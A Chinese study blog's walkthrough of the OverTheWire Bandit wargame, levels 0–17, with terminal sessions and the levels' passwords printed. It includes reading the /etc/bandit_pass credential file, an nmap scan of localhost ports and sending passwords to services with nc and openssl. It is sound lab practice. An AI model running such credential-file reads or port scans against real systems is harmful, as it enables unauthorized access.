PEview
工具,查看PE文件格式的
Resource Hacker
工具,查看资源节
其他工具
PEBrowse Professional
PE Explorer
About Lab
存放了很多实验报告
WarGame
一个十分优秀的免费靶场,非常适合新手入门或者高手休闲娱乐。
OverTheWire社区是一个提供wargame的网站,可以帮助安全爱好者以趣味的方式进行学习、练习安全知识。
level0 ssh远程登录
ssh bandit0@bandit.labs.overthewire.org -p 2220
# 然后输入密码即可
顺利拿到提示符
level1
要求使用cat命令,水
bandit0@bandit:~$ ll
total 24
drwxr-xr-x 2 root root 4096 Apr 23 18:04 ./
drwxr-xr-x 70 root root 4096 Apr 23 18:05 ../
-rw-r--r-- 1 root root 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 root root 3771 Jan 6 2022 .bashrc
-rw-r--r-- 1 root root 807 Jan 6 2022 .profile
-rw-r----- 1 bandit1 bandit0 33 Apr 23 18:04 readme
bandit0@bandit:~$ cat readme
NH2SXQwcBdpmTEzi3bvBHMM9H66vVXjL
bandit0@bandit:~$
level2
处理名字叫“-”的文件,这个由于会和参数解析混了,我的处理办法是加上“./”
bandit1@bandit:~$ ll
total 24
-rw-r----- 1 bandit2 bandit1 33 Apr 23 18:04 -
drwxr-xr-x 2 root root 4096 Apr 23 18:04 ./
drwxr-xr-x 70 root root 4096 Apr 23 18:05 ../
-rw-r--r-- 1 root root 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 root root 3771 Jan 6 2022 .bashrc
-rw-r--r-- 1 root root 807 Jan 6 2022 .profile
bandit1@bandit:~$ cat ./-
rRGizSaX8Mk1RTb1CNQoXTcYZWU6lgzi
bandit1@bandit:~$
level3
处理名字里有空格的文件,直接拿双引号包起来即可
bandit2@bandit:~$ ll
total 24
drwxr-xr-x 2 root root 4096 Apr 23 18:04 ./
drwxr-xr-x 70 root root 4096 Apr 23 18:05 ../
-rw-r--r-- 1 root root 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 root root 3771 Jan 6 2022 .bashrc
-rw-r--r-- 1 root root 807 Jan 6 2022 .profile
-rw-r----- 1 bandit3 bandit2 33 Apr 23 18:04 spaces in this filename
bandit2@bandit:~$ cat "spaces in this filename"
aBZ0W5EmUfAf7kHTQeOwd8bauFJ2lAiG
bandit2@bandit:~$
level4
处理文件夹,正确的方式应该是cd进去再处理,因为在这个阶段还不涉及绝对路径、相对路径之类的概念,但是我懒了
另外,还有个处理隐藏文件,可以使用ls -l命令,在大多数bash中会把ls -al写成别名ll
也可以使用ls -a
bandit3@bandit:~$ ll
total 24
drwxr-xr-x 3 root root 4096 Apr 23 18:04 ./
drwxr-xr-x 70 root root 4096 Apr 23 18:05 ../
-rw-r--r-- 1 root root 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 root root 3771 Jan 6 2022 .bashrc
drwxr-xr-x 2 root root 4096 Apr 23 18:04 inhere/
-rw-r--r-- 1 root root 807 Jan 6 2022 .profile
bandit3@bandit:~$ ls inhere/
bandit3@bandit:~$ ll inhere/
total 12
drwxr-xr-x 2 root root 4096 Apr 23 18:04 ./
drwxr-xr-x 3 root root 4096 Apr 23 18:04 ../
-rw-r----- 1 bandit4 bandit3 33 Apr 23 18:04 .hidden
bandit3@bandit:~$ cat ./inhere/.hidden
2EW7BBsr6aMMoJ2HjW067dm8EgX26xNe
bandit3@bandit:~$
level5
bandit4@bandit:~$ ls
inhere
bandit4@bandit:~$ cd inhere/
bandit4@bandit:~/inhere$ ll
total 48
drwxr-xr-x 2 root root 4096 Apr 23 18:04 ./
drwxr-xr-x 3 root root 4096 Apr 23 18:04 ../
-rw-r----- 1 bandit5 bandit4 33 Apr 23 18:04 -file00
-rw-r----- 1 bandit5 bandit4 33 Apr 23 18:04 -file01
-rw-r----- 1 bandit5 bandit4 33 Apr 23 18:04 -file02
-rw-r----- 1 bandit5 bandit4 33 Apr 23 18:04 -file03
-rw-r----- 1 bandit5 bandit4 33 Apr 23 18:04 -file04
-rw-r----- 1 bandit5 bandit4 33 Apr 23 18:04 -file05
-rw-r----- 1 bandit5 bandit4 33 Apr 23 18:04 -file06
-rw-r----- 1 bandit5 bandit4 33 Apr 23 18:04 -file07
-rw-r----- 1 bandit5 bandit4 33 Apr 23 18:04 -file08
-rw-r----- 1 bandit5 bandit4 33 Apr 23 18:04 -file09
bandit4@bandit:~/inhere$ cat ./-file06
'�wk^j��M�;,�co9bandit4@bandit:~/inhere$
# 使用reset后
bandit4@bandit:~/inhere$ cat ./-file07
lrIWWI6bB37kxfiCQZqUdOIYfr6eEeqR
bandit4@bandit:~/inhere$
这里有一个讲了reset和clear的区别,很简单
level6
挺麻烦的一个鸡儿题
bandit5@bandit:~/inhere$ cd maybehere07
bandit5@bandit:~/inhere/maybehere07$ ll
total 56
drwxr-x--- 2 root bandit5 4096 Apr 23 18:04 ./
drwxr-x--- 22 root bandit5 4096 Apr 23 18:04 ../
-rwxr-x--- 1 root bandit5 3663 Apr 23 18:04 -file1*
-rwxr-x--- 1 root bandit5 3065 Apr 23 18:04 .file1*
-rw-r----- 1 root bandit5 2488 Apr 23 18:04 -file2
-rw-r----- 1 root bandit5 1033 Apr 23 18:04 .file2
-rwxr-x--- 1 root bandit5 3362 Apr 23 18:04 -file3*
-rwxr-x--- 1 root bandit5 1997 Apr 23 18:04 .file3*
-rwxr-x--- 1 root bandit5 4130 Apr 23 18:04 spaces file1*
-rw-r----- 1 root bandit5 9064 Apr 23 18:04 spaces file2
-rwxr-x--- 1 root bandit5 1022 Apr 23 18:04 spaces file3*
bandit5@bandit:~/inhere/maybehere07$ cat .file2
P4L4vucdmLnm8I7Vl7jG1ApGSfjYKqJU
这里需要知道ll输出的这一大堆都是啥玩意儿,rwx分别代表可读可写可执行,剩下的看文档吧。
level7
要使用find了
# 我cd到根目录也没怎么发现,因此直接find搜索了,还挺快的,按理说linux自带这些破玩意儿不该这么快的。。。
bandit6@bandit:/$ find / -type f -size 33c -user bandit7 -group bandit6 2>/dev/null
/var/lib/dpkg/info/bandit7.password
bandit6@bandit:/$ cat /var/lib/dpkg/info/bandit7.password
z7WtoNQU2XfjmMtWA8u5rN4vzqu4v99S
那个斜杠是指定为根目录,然后就是大小、用户、组,最后有一个标准错误重定向到黑洞,不写也没事儿,我习惯了
level8
这个就是grep
bandit7@bandit:~$ find / -type f -name "data.txt" -exec grep -l "million" {} \; 2>/dev/null
/home/bandit7/data.txt
bandit7@bandit:~$ grep "millionth" data.txt
millionth TESKZC0XvTetK0S9xNwm25STk5iWrBvP
其实另一个办法是打开文件然后用vim的搜索,我试了试也挺快的
level9
用一下sort即可
bandit8@bandit:~$ ll
total 56
drwxr-xr-x 2 root root 4096 Apr 23 18:04 ./
drwxr-xr-x 70 root root 4096 Apr 23 18:05 ../
-rw-r--r-- 1 root root 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 root root 3771 Jan 6 2022 .bashrc
-rw-r----- 1 bandit9 bandit8 33033 Apr 23 18:04 data.txt
-rw-r--r-- 1 root root 807 Jan 6 2022 .profile
bandit8@bandit:~$ sort data.txt | uniq -c | sort -n | head -n1
1 EN632PlfYiZbn3PhVK3XOGSlNInNE00t
bandit8@bandit:~$
level10
好像是正则,我不太会,草草写了些
bandit9@bandit:~$ strings data.txt | grep -oE "==.*"
========== the#
========== password
========== is
========== G7w8LIi6J3kTb8A7j9LgrywtEUlyyp6s
bandit9@bandit:~$
level11
base64解码
bandit10@bandit:~$ cat data.txt | base64 -d
The password is 6zPeziLdR2RKNdNYFNb6nVCKzphlXHBM
bandit10@bandit:~$
level12
使用tr
万幸查了一下,差点儿写个脚本。。。
bandit11@bandit:~$ cat data.txt | tr 'a-zA-Z' 'n-za-mN-ZA-M'
The password is JVNBBFSmZwKKOP0XbFXOoW8chDz5yVRv
level13
有点儿复杂啊,问的chatgpt然后才会的
# 先mkdir然后cp
bandit12@bandit:~$ cd /tmp/myname123
bandit12@bandit:/tmp/myname123$ xxd -r /tmp/myname123/data.txt > /tmp/myname123/data.bin
bandit12@bandit:/tmp/myname123$ file /tmp/myname123/data.bin
/tmp/myname123/data.bin: gzip compressed data, was "data2.bin", last modified: Sun Apr 23 18:04:23 2023, max compression, from Unix, original size modulo 2^32 581
bandit12@bandit:/tmp/myname123$ gzip -d -S .bin /tmp/myname123/data.bin
bandit12@bandit:/tmp/myname123$ ll
total 10628
drwxrwxr-x 2 bandit12 bandit12 4096 Jul 17 03:01 ./
drwxrwx-wt 3791 root root 10801152 Jul 17 03:03 ../
-rw-rw-r-- 1 bandit12 bandit12 0 Jul 17 02:39 bandit
-rw-rw-r-- 1 bandit12 bandit12 581 Jul 17 02:59 data
-rw-rw-r-- 1 bandit12 bandit12 20480 Jul 16 19:05 data5.tar
-rw-r--r-- 1 bandit12 bandit12 10240 Apr 23 18:04 data6.tar
-rw-r--r-- 1 bandit12 bandit12 10240 Apr 23 18:04 data8.tar
-rw-r--r-- 1 bandit12 bandit12 49 Apr 23 18:04 data9
-rw-rw-r-- 1 bandit12 bandit12 581 Jul 16 15:25 data.bz2
-rw-r----- 1 bandit12 bandit12 2642 Jul 16 19:00 data.hex
-rw-r----- 1 bandit12 bandit12 2642 Jul 17 02:50 data.txt
-rw-r----- 1 bandit12 bandit12 2642 Jul 17 02:34 mydata.txt
bandit12@bandit:/tmp/myname123$ cat data9
The password is wbWdlBxEir4CaE8LaPhauuOo6pwRmrDw
bandit12@bandit:/tmp/myname123$
level14
水,用私钥登录
bandit13@bandit:~$ ssh -i sshkey.private bandit14@localhost -p 2220
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/home/bandit13/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/home/bandit13/.ssh/known_hosts).
_ _ _ _
| |__ __ _ _ __ __| (_) |_
| '_ \ / _` | '_ \ / _` | | __|
| |_) | (_| | | | | (_| | | |_
|_.__/ \__,_|_| |_|\__,_|_|\__|
This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames
!!! You are trying to log into this SSH server with a password on port 2220 from localhost.
!!! Connecting from localhost is blocked to conserve resources.
!!! Please log out and log in again.
,----.. ,----, .---.
/ / \ ,/ .`| /. ./|
/ . : ,` .' : .--'. ' ;
. / ;. \ ; ; / /__./ \ : |
. ; / ` ; .'___,/ ,' .--'. ' \' .
; | ; \ ; | | : | /___/ \ | ' '
| : | ; | ' ; |.'; ; ; \ \; :
. | ' ' ' : `----' | | \ ; ` |
' ; \; / | ' : ; . \ .\ ;
\ \ ', / | | ' \ \ ' \ |
; : / ' : | : ' |--"
\ \ .' ; |.' \ \ ;
www. `---` ver '---' he '---" ire.org
Welcome to OverTheWire!
If you find any problems, please report them to the #wargames channel on
discord or IRC.
--[ Playing the games ]--
This machine might hold several wargames.
If you are playing "somegame", then:
* USERNAMES are somegame0, somegame1, ...
* Most LEVELS are stored in /somegame/.
* PASSWORDS for each level are stored in /etc/somegame_pass/.
Write-access to homedirectories is disabled. It is advised to create a
working directory with a hard-to-guess name in /tmp/. You can use the
command "mktemp -d" in order to generate a random and hard to guess
directory in /tmp/. Read-access to both /tmp/ is disabled and to /proc
restricted so that users cannot snoop on eachother. Files and directories
with easily guessable or short names will be periodically deleted! The /tmp
directory is regularly wiped.
Please play nice:
* don't leave orphan processes running
* don't leave exploit-files laying around
* don't annoy other players
* don't post passwords or spoilers
* again, DONT POST SPOILERS!
This includes writeups of your solution on your blog or website!
--[ Tips ]--
This machine has a 64bit processor and many security-features enabled
by default, although ASLR has been switched off. The following
compiler flags might be interesting:
-m32 compile for 32bit
-fno-stack-protector disable ProPolice
-Wl,-z,norelro disable relro
In addition, the execstack tool can be used to flag the stack as
executable on ELF binaries.
Finally, network-access is limited for most levels by a local
firewall.
--[ Tools ]--
For your convenience we have installed a few useful tools which you can find
in the following locations:
* gef (https://github.com/hugsy/gef) in /opt/gef/
* pwndbg (https://github.com/pwndbg/pwndbg) in /opt/pwndbg/
* peda (https://github.com/longld/peda.git) in /opt/peda/
* gdbinit (https://github.com/gdbinit/Gdbinit) in /opt/gdbinit/
* pwntools (https://github.com/Gallopsled/pwntools)
* radare2 (http://www.radare.org/)
Both python2 and python3 are installed.
--[ More information ]--
For more information regarding individual wargames, visit
http://www.overthewire.org/wargames/
For support, questions or comments, contact us on discord or IRC.
Enjoy your stay!
bandit14@bandit:~$
level15
nc这个命令在复杂情况下需要自己写http请求的内容,挺离谱的,还是curl和python方便
一些学习的链接https://juejin.cn/post/6995203632387866631、https://www.runoob.com/linux/linux-comm-nc.html,更多内容可以参考CSE365 sp23的talking web
模块。
bandit14@bandit:/etc/bandit_pass$ cat bandit14
fGrHPx402xGC7U7rXKDaxiWFTOiF0ENq
bandit14@bandit:/etc/bandit_pass$ cat bandit14 | nc localhost 30000
Correct!
jN2kgmIXJ6fShzhT2avhotn4Zcka6tnt
bandit14@bandit:/etc/bandit_pass$
level16
bandit14@bandit:echo "jN2kgmIXJ6fShzhT2avhotn4Zcka6tnt" | openssl s_client -connect localhost:30001 -ign_eof
Correct!
JQttfApK4SeyHwDlI9SXGR50qclOAil1
closed
level17
bandit16@bandit:~$ nmap -sV localhost -T5 -p 31000-32000
Starting Nmap 7.80 ( https://nmap.org ) at 2023-07-17 04:20 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00015s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
31046/tcp open echo
31518/tcp open ssl/echo
31691/tcp open echo
31790/tcp open ssl/unknown
31960/tcp open echo
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port31790-TCP:V=7.80%T=SSL%I=7%D=7/17%Time=64B4C185%P=x86_64-pc-linux-g
SF:nu%r(GenericLines,31,"Wrong!\x20Please\x20enter\x20the\x20correct\x20cu
SF:rrent\x20password\n")%r(GetRequest,31,"Wrong!\x20Please\x20enter\x20the
SF:\x20correct\x20current\x20password\n")%r(HTTPOptions,31,"Wrong!\x20Plea
SF:se\x20enter\x20the\x20correct\x20current\x20password\n")%r(RTSPRequest,
SF:31,"Wrong!\x20Please\x20enter\x20the\x20correct\x20current\x20password\
SF:n")%r(Help,31,"Wrong!\x20Please\x20enter\x20the\x20correct\x20current\x
SF:20password\n")%r(SSLSessionReq,31,"Wrong!\x20Please\x20enter\x20the\x20
SF:correct\x20current\x20password\n")%r(TerminalServerCookie,31,"Wrong!\x2
SF:0Please\x20enter\x20the\x20correct\x20current\x20password\n")%r(TLSSess
SF:ionReq,31,"Wrong!\x20Please\x20enter\x20the\x20correct\x20current\x20pa
SF:ssword\n")%r(Kerberos,31,"Wrong!\x20Please\x20enter\x20the\x20correct\x
SF:20current\x20password\n")%r(FourOhFourRequest,31,"Wrong!\x20Please\x20e
SF:nter\x20the\x20correct\x20current\x20password\n")%r(LPDString,31,"Wrong
SF:!\x20Please\x20enter\x20the\x20correct\x20current\x20password\n")%r(LDA
SF:PSearchReq,31,"Wrong!\x20Please\x20enter\x20the\x20correct\x20current\x
SF:20password\n")%r(SIPOptions,31,"Wrong!\x20Please\x20enter\x20the\x20cor
SF:rect\x20current\x20password\n");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.85 seconds
然后,要输入16的密码
bandit16@bandit:~$ openssl s_client -connect localhost:31790 -ign_eof
CONNECTED(00000003)
Can't use SSL_get_servername
depth=0 CN = localhost
verify error:num=18:self-signed certificate
verify return:1
depth=0 CN = localhost
verify error:num=10:certificate has expired
notAfter=Jul 17 03:32:59 2023 GMT
verify return:1
depth=0 CN = localhost
notAfter=Jul 17 03:32:59 2023 GMT
verify return:1
---
Certificate chain
0 s:CN = localhost
i:CN = localhost
a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA1
v:NotBefore: Jul 17 03:31:59 2023 GMT; NotAfter: Jul 17 03:32:59 2023 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIDCzCCAfOgAwIBAgIEasML0jANBgkqhkiG9w0BAQUFADAUMRIwEAYDVQQDDAls
b2NhbGhvc3QwHhcNMjMwNzE3MDMzMTU5WhcNMjMwNzE3MDMzMjU5WjAUMRIwEAYD
VQQDDAlsb2NhbGhvc3QwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDQ
WpK5aICLya01rGDXaLVwQpZqWmn75BPH3O2vrqMAu14iXbKtemseBnOaB3vSfu04
QNfWLYWKrnab4hd73/TOurIHq33MnsH8Yb+lzx6VfBq/FouTviT2QBE5cVlvQV63
QPjJZ4mBomudPpDXLfbHWxsH8BYxa6lSqBjs8EqOnfEL9SRoQ+H0w66NjpOnGtLO
l0oYAbmriOkmOht1tr1hoxiacNZa9WEOq01SNrIRGbhOPw07c7/rVXfz9dDBrhPQ
D7FpX/UDyZvJFM3I+sTpwoUj7Ypzvhim+kVY9lGRnzuy439yGovgURCiNwlXUpDA
/Kr/hRCriC3URJT4mWKdAgMBAAGjZTBjMBQGA1UdEQQNMAuCCWxvY2FsaG9zdDBL
BglghkgBhvhCAQ0EPhY8QXV0b21hdGljYWxseSBnZW5lcmF0ZWQgYnkgTmNhdC4g
U2VlIGh0dHBzOi8vbm1hcC5vcmcvbmNhdC8uMA0GCSqGSIb3DQEBBQUAA4IBAQBy
qV/aRIcHHbKSksYqANDBrkLgfXKXKeXMZBTBq3Q4rMLF/ux7tGU+2/YPAo/6L0IZ
2/UGcW+/msmgvBE3+j5FnIB/aoqp2M8fksOiaC8OrsJ6bbShEEV+q5VITosF/Nw0
qrpoXa+7l5IF/8tuTCpi4ZQGHX+uoRgufcGkK3c8Gxsb9Xtroz8se7yLU0VKLm4d
/H0Ozu4QkVTaQ+7971pXYHyip3tKuJbCeJOJledvqGvvcaIvE9S1vxEugQUq2K6u
DZfCLU3TR9l29QonH13HtF5mEDNE4KaMtYxM4B4Mo3KMUHVf4hi4nKJVpjs/FSiI
Vpv3P9pqfmYjEQjp7yIz
-----END CERTIFICATE-----
subject=CN = localhost
issuer=CN = localhost
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 1339 bytes and written 373 bytes
Verification error: certificate has expired
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 10 (certificate has expired)
---
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
Protocol : TLSv1.3
Cipher : TLS_AES_256_GCM_SHA384
Session-ID: AD5693D41623D8997CC2EE94B1CC7C61F949EFBC34B80DC8421E8B82C6572B65
Session-ID-ctx:
Resumption PSK: AFE5847E9831517B3B0BCF4B511501803A902004393C9D3D926CA22524CCE716B6A771D7802C706EF3C94E8C264D4B95
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 7200 (seconds)
TLS session ticket:
0000 - a5 d8 4b ca c0 ad 23 28-64 e1 24 b6 18 97 bf 19 ..K...#(d.$.....
0010 - c4 53 bd cd 78 c9 dd 28-f5 14 4c 9d 30 a0 18 97 .S..x..(..L.0...
0020 - 5d d6 5b 92 2f 96 7a 0e-ac e2 49 bc e3 d1 a6 79 ].[./.z...I....y
0030 - 73 37 ea 00 c4 4f 0a 07-4c 4e b9 f8 f4 fe 04 bd s7...O..LN......
0040 - cb a9 f5 31 28 a1 b9 07-fd cb 83 8b 8d 93 b8 7f ...1(...........
0050 - 51 10 1a b9 7c 4e 10 ab-4b 93 8c c7 88 9f 6e 85 Q...|N..K.....n.
0060 - 87 e8 fc bc 3d f7 93 f0-2f 55 1d cf 64 80 7c 08 ....=.../U..d.|.
0070 - f2 1c 95 b9 d1 3f 15 90-57 e1 b1 9e 93 87 1d 72 .....?..W......r
0080 - 93 ed 83 b8 4b ef d2 bd-1d f5 ca 1b f9 d6 7a ff ....K.........z.
0090 - 13 fd 8f 40 43 fe 97 99-2a fa eb f9 52 ad b0 27 ...@C...*...R..'
00a0 - be 2a a0 5c a7 fd 76 6a-22 58 a4 56 02 e7 f2 13 .*.\..vj"X.V....
00b0 - 4b 01 58 44 ab 63 3d 3d-fa 7e f7 ac 66 8c ef da K.XD.c==.~..f...
00c0 - 79 db d0 58 9f c1 fe 8c-3f 95 19 ed a6 f6 08 e8 y..X....?.......
Start Time: 1689568148
Timeout : 7200 (sec)
Verify return code: 10 (certificate has expired)
Extended master secret: no
Max Early Data: 0
---
read R BLOCK
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
Protocol : TLSv1.3
Cipher : TLS_AES_256_GCM_SHA384
Session-ID: 731D8DE5B4509BB39289FED6CED817A731462808EFAF8C604A5BEE6E85CD12AB
Session-ID-ctx:
Resumption PSK: F18769CA70C1B23B9CAFAD3D8682E406B83AF8FC439A378D79ABBB19CD4B59EE837D9121AB1BA7FCCF1F761FA4AFB8F7
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 7200 (seconds)
TLS session ticket:
0000 - a5 d8 4b ca c0 ad 23 28-64 e1 24 b6 18 97 bf 19 ..K...#(d.$.....
0010 - 23 10 a4 f3 c5 e4 25 65-c5 73 a7 ce d3 1b 98 bf #.....%e.s......
0020 - 1a 41 ff b2 2e 44 0f c6-a2 7c a6 12 0c 22 7a a9 .A...D...|..."z.
0030 - 28 d6 09 17 d2 7a 97 5b-a3 37 fc 5c de 86 24 47 (....z.[.7.\..$G
0040 - 78 20 db 23 15 d1 3d 77-19 b2 91 dc c7 43 d6 66 x .#..=w.....C.f
0050 - 3c 04 a7 dd b9 32 e6 0f-16 a1 ab dd 92 99 18 e7 <....2..........
0060 - 23 ad ab 79 3e af 2d ca-ea 4e 29 67 27 39 d2 d4 #..y>.-..N)g'9..
0070 - e9 6f e0 5b be 0d d4 2d-07 e2 83 10 4a aa 94 20 .o.[...-....J..
0080 - 1e 06 3d 42 df 74 91 99-43 cc bc ca 5c 59 74 f1 ..=B.t..C...\Yt.
0090 - df 00 c4 16 44 2d a1 0f-db db 65 84 3b 89 58 b4 ....D-....e.;.X.
00a0 - 81 71 91 ec 5c 5e a3 db-51 25 b4 37 e5 0d 6b 41 .q..\^..Q%.7..kA
00b0 - 88 a8 dc 9d b3 02 5b 68-04 4c 01 cd cd a3 17 24 ......[h.L.....$
00c0 - 4a fe f5 03 49 ab 60 1e-b3 eb 07 04 92 c5 ff ab J...I.`.........
Start Time: 1689568148
Timeout : 7200 (sec)
Verify return code: 10 (certificate has expired)
Extended master secret: no
Max Early Data: 0
---
read R BLOCK
Wrong! Please enter the correct current password
closed
是从这里看出来要输入密码的!
bandit16@bandit:~$ openssl s_client -connect localhost:31790 -ign_eof
CONNECTED(00000003)
Can't use SSL_get_servername
depth=0 CN = localhost
verify error:num=18:self-signed certificate
verify return:1
depth=0 CN = localhost
verify error:num=10:certificate has expired
notAfter=Jul 17 03:32:59 2023 GMT
verify return:1
depth=0 CN = localhost
notAfter=Jul 17 03:32:59 2023 GMT
verify return:1
---
Certificate chain
0 s:CN = localhost
i:CN = localhost
a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA1
v:NotBefore: Jul 17 03:31:59 2023 GMT; NotAfter: Jul 17 03:32:59 2023 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIDCzCCAfOgAwIBAgIEasML0jANBgkqhkiG9w0BAQUFADAUMRIwEAYDVQQDDAls
b2NhbGhvc3QwHhcNMjMwNzE3MDMzMTU5WhcNMjMwNzE3MDMzMjU5WjAUMRIwEAYD
VQQDDAlsb2NhbGhvc3QwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDQ
WpK5aICLya01rGDXaLVwQpZqWmn75BPH3O2vrqMAu14iXbKtemseBnOaB3vSfu04
QNfWLYWKrnab4hd73/TOurIHq33MnsH8Yb+lzx6VfBq/FouTviT2QBE5cVlvQV63
QPjJZ4mBomudPpDXLfbHWxsH8BYxa6lSqBjs8EqOnfEL9SRoQ+H0w66NjpOnGtLO
l0oYAbmriOkmOht1tr1hoxiacNZa9WEOq01SNrIRGbhOPw07c7/rVXfz9dDBrhPQ
D7FpX/UDyZvJFM3I+sTpwoUj7Ypzvhim+kVY9lGRnzuy439yGovgURCiNwlXUpDA
/Kr/hRCriC3URJT4mWKdAgMBAAGjZTBjMBQGA1UdEQQNMAuCCWxvY2FsaG9zdDBL
BglghkgBhvhCAQ0EPhY8QXV0b21hdGljYWxseSBnZW5lcmF0ZWQgYnkgTmNhdC4g
U2VlIGh0dHBzOi8vbm1hcC5vcmcvbmNhdC8uMA0GCSqGSIb3DQEBBQUAA4IBAQBy
qV/aRIcHHbKSksYqANDBrkLgfXKXKeXMZBTBq3Q4rMLF/ux7tGU+2/YPAo/6L0IZ
2/UGcW+/msmgvBE3+j5FnIB/aoqp2M8fksOiaC8OrsJ6bbShEEV+q5VITosF/Nw0
qrpoXa+7l5IF/8tuTCpi4ZQGHX+uoRgufcGkK3c8Gxsb9Xtroz8se7yLU0VKLm4d
/H0Ozu4QkVTaQ+7971pXYHyip3tKuJbCeJOJledvqGvvcaIvE9S1vxEugQUq2K6u
DZfCLU3TR9l29QonH13HtF5mEDNE4KaMtYxM4B4Mo3KMUHVf4hi4nKJVpjs/FSiI
Vpv3P9pqfmYjEQjp7yIz
-----END CERTIFICATE-----
subject=CN = localhost
issuer=CN = localhost
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 1339 bytes and written 373 bytes
Verification error: certificate has expired
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 10 (certificate has expired)
---
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
Protocol : TLSv1.3
Cipher : TLS_AES_256_GCM_SHA384
Session-ID: 1B8DD2D7E7B861C8494FB2E901FEB50552571BFE7200C45C57EEACE66795AEEA
Session-ID-ctx:
Resumption PSK: 25F7290250EB5F41F5C184E597BD8493DFD4EC4E8965B10CE6A409D2909B370F30DB9A1E965F680CCD6F9C9E3BC4D0C6
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 7200 (seconds)
TLS session ticket:
0000 - a5 d8 4b ca c0 ad 23 28-64 e1 24 b6 18 97 bf 19 ..K...#(d.$.....
0010 - a1 6b 8c 90 89 4b 8b e8-df 1e 82 05 28 ad a8 5f .k...K......(.._
0020 - 65 f3 03 76 14 8f d5 97-8a a5 28 ea 20 2f 06 55 e..v......(. /.U
0030 - 16 ba 4b 88 de ab 7e 00-1c 76 ba 08 b1 e7 0f a9 ..K...~..v......
0040 - 1d 53 2a 31 16 6b 02 0d-2e dd e7 9a f4 9a e8 13 .S*1.k..........
0050 - 13 a1 20 67 4c 24 07 53-18 c1 68 56 30 f4 92 c3 .. gL$.S..hV0...
0060 - b5 5b a6 4d 99 ff 16 fd-30 72 9b 0e f7 f2 c6 ab .[.M....0r......
0070 - 69 c1 c0 b9 16 18 3d 5c-c4 db 4f b9 06 bf 6c 6f i.....=\..O...lo
0080 - 51 c4 99 60 fa 03 55 af-ad 46 ed e1 53 0f 92 65 Q..`..U..F..S..e
0090 - 57 82 b9 5b ce 5b 40 37-4f d5 a8 a3 27 63 b9 2d W..[.[@7O...'c.-
00a0 - 6b e4 ea 11 f2 9f c3 f7-82 3d 16 4e 2b 40 d3 25 k........=.N+@.%
00b0 - 50 10 0f aa 74 30 49 da-c8 01 32 23 c0 b7 3c 8b P...t0I...2#..<.
00c0 - 97 8d 24 10 2d 93 73 04-33 01 d9 70 92 26 4e fc ..$.-.s.3..p.&N.
Start Time: 1689568162
Timeout : 7200 (sec)
Verify return code: 10 (certificate has expired)
Extended master secret: no
Max Early Data: 0
---
read R BLOCK
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
Protocol : TLSv1.3
Cipher : TLS_AES_256_GCM_SHA384
Session-ID: A0EF32E17C1AC0960FD46EE50181836B83644B2168CDC3087A3612EC77D9A111
Session-ID-ctx:
Resumption PSK: 117786B647299C2A691BD342EDC8E39A7899490BE868D804415203AED03876A67C51CE8E55D236DAC96130391C36759A
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 7200 (seconds)
TLS session ticket:
0000 - a5 d8 4b ca c0 ad 23 28-64 e1 24 b6 18 97 bf 19 ..K...#(d.$.....
0010 - f3 b6 fd 9d 6e e3 35 98-ad 1d df 9e 75 38 c5 47 ....n.5.....u8.G
0020 - 15 7a c4 8f 31 3b 39 1e-ef 1c f2 56 f2 61 48 a9 .z..1;9....V.aH.
0030 - 36 ae 3d 66 e9 0d 0f ff-07 39 33 77 d7 87 8c 63 6.=f.....93w...c
0040 - fb 00 ab 1e 27 3a 91 ed-24 49 b6 e2 9d 49 a6 2b ....':..$I...I.+
0050 - 90 ce a6 8b ea 1c bd f5-38 77 83 fc 9b 4c b4 49 ........8w...L.I
0060 - 3b d9 7c bb 52 0b 2d 38-88 a5 80 b0 8e 80 5d 66 ;.|.R.-8......]f
0070 - 1e 0b 9d 10 b2 81 11 51-0a 30 60 ec b9 2d d2 5e .......Q.0`..-.^
0080 - 64 66 87 44 84 78 f8 e5-2b 62 cb 5f 84 aa 50 01 df.D.x..+b._..P.
0090 - 5d d6 62 fd e8 8b f8 fc-91 0c 8a f9 a7 12 6e ae ].b...........n.
